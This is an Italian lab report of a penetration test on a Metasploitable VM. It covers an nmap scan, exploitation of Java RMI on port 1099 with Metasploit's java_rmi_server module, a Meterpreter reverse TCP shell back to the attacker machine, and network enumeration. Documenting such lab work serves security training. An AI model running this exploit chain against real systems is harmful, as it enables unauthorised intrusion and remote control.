

Progetto 19/05

1. Obiettivo del Test

Condurre un'attività di penetration testing contro un servizio Java RMI vulnerabile in esecuzione sulla porta 1099 di una macchina Metasploitable, ottenendo una sessione Meterpreter e raccogliendo informazioni sulla rete della macchina compromessa.

2. Setup dell'Ambiente di Laboratorio

```
(kali@kali)-[~]
$ sudo ip addr add 192.168.11.111/24 dev eth0

(kali@kali)-[~]
$ sudo ip link set eth0 up

# The primary network interface
auto eth0
iface eth0 inet static
    address 192.168.11.112
    netmask 255.225.225.0
    gateway 192.168.11.1
```

3. Scansione e Identificazione del Servizio Vulnerabile

```
(kali@kali)-[~]
$ nmap -sV 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-20 19:17 EDT
Nmap scan report for 192.168.11.112
Host is up (0.00053s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian Subuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:2C:DA:0C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.40 seconds
```

Esito: porta 1099 vulnerabile.

4. Sfruttamento con Metasploit

```
msf6 > search java rmi

Matching Modules

#   Name                                                                 Disclosure Date   Rank     Check  Descript
--   -
0   exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce 2019-05-22      excellent Yes     Atlassia
n Crowd pdkinstall Unauthenticated Plugin Upload RCE
1   exploit/multi/http/crushftp_rce_cve_2023_43177                  2023-08-08      excellent Yes     CrushFTP
Unauthenticated RCE
2   \_ target: Java                                                  .               .       .       .
3   \_ target: Linux Dropper                                       .               .       .       .
4   \_ target: Windows Dropper                                     .               .       .       .
5   exploit/multi/misc/java_jmx_server                             2013-05-22      excellent Yes     Java JMX
Server Insecure Configuration Java Code Execution
6   auxiliary/scanner/misc/java_jmx_server                         2013-05-22      normal   No      Java JMX
Server Insecure Endpoint Code Execution Scanner
7   auxiliary/gather/java_rmi_registry                             .               normal   No      Java RMI
Registry Interfaces Enumeration
8   exploit/multi/misc/java_rmi_server                             2011-10-15      excellent Yes     Java RMI

msf6 > use 8
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    yes             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099            yes       The target port (TCP)
  SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080            yes       The local port to listen on.
  SSL       false           no        Negotiate SSL for incoming connections
  SSLCert   no              no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   no              no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     127.0.0.1       yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set RPORT 1099
RPORT => 1099
msf6 exploit(multi/misc/java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111
LHOST => 192.168.11.111
msf6 exploit(multi/misc/java_rmi_server) > set LPORT 4444
LPORT => 4444
```

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/a04oSYJKXcMG3bp
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:59412) at 2025-05-20 19:21:51 -0400
```

Esito: Connessione stabilita con successo, apertura di una sessione Meterpreter.

5. Raccolta delle Evidenze con Meterpreter

```
meterpreter > ipconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe2c:da0c
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes
=====

  Subnet          Netmask          Gateway  Metric  Interface
  -----          -
  127.0.0.1       255.0.0.0        0.0.0.0
  192.168.11.112  255.255.255.0    0.0.0.0

IPv6 network routes
=====

  Subnet          Netmask          Gateway  Metric  Interface
  -----          -
  ::1              ::              ::
  fe80::a00:27ff:fe2c:da0c  ::              ::

meterpreter > █
```

6. Conclusione

L'attacco ha evidenziato la pericolosità di un servizio RMI esposto con configurazioni insicure. L'uso di Metasploit ha permesso lo sfruttamento della vulnerabilità e l'ottenimento di una shell remota. Questa analisi conferma l'importanza della segmentazione e della gestione dei servizi in ascolto all'interno di una rete.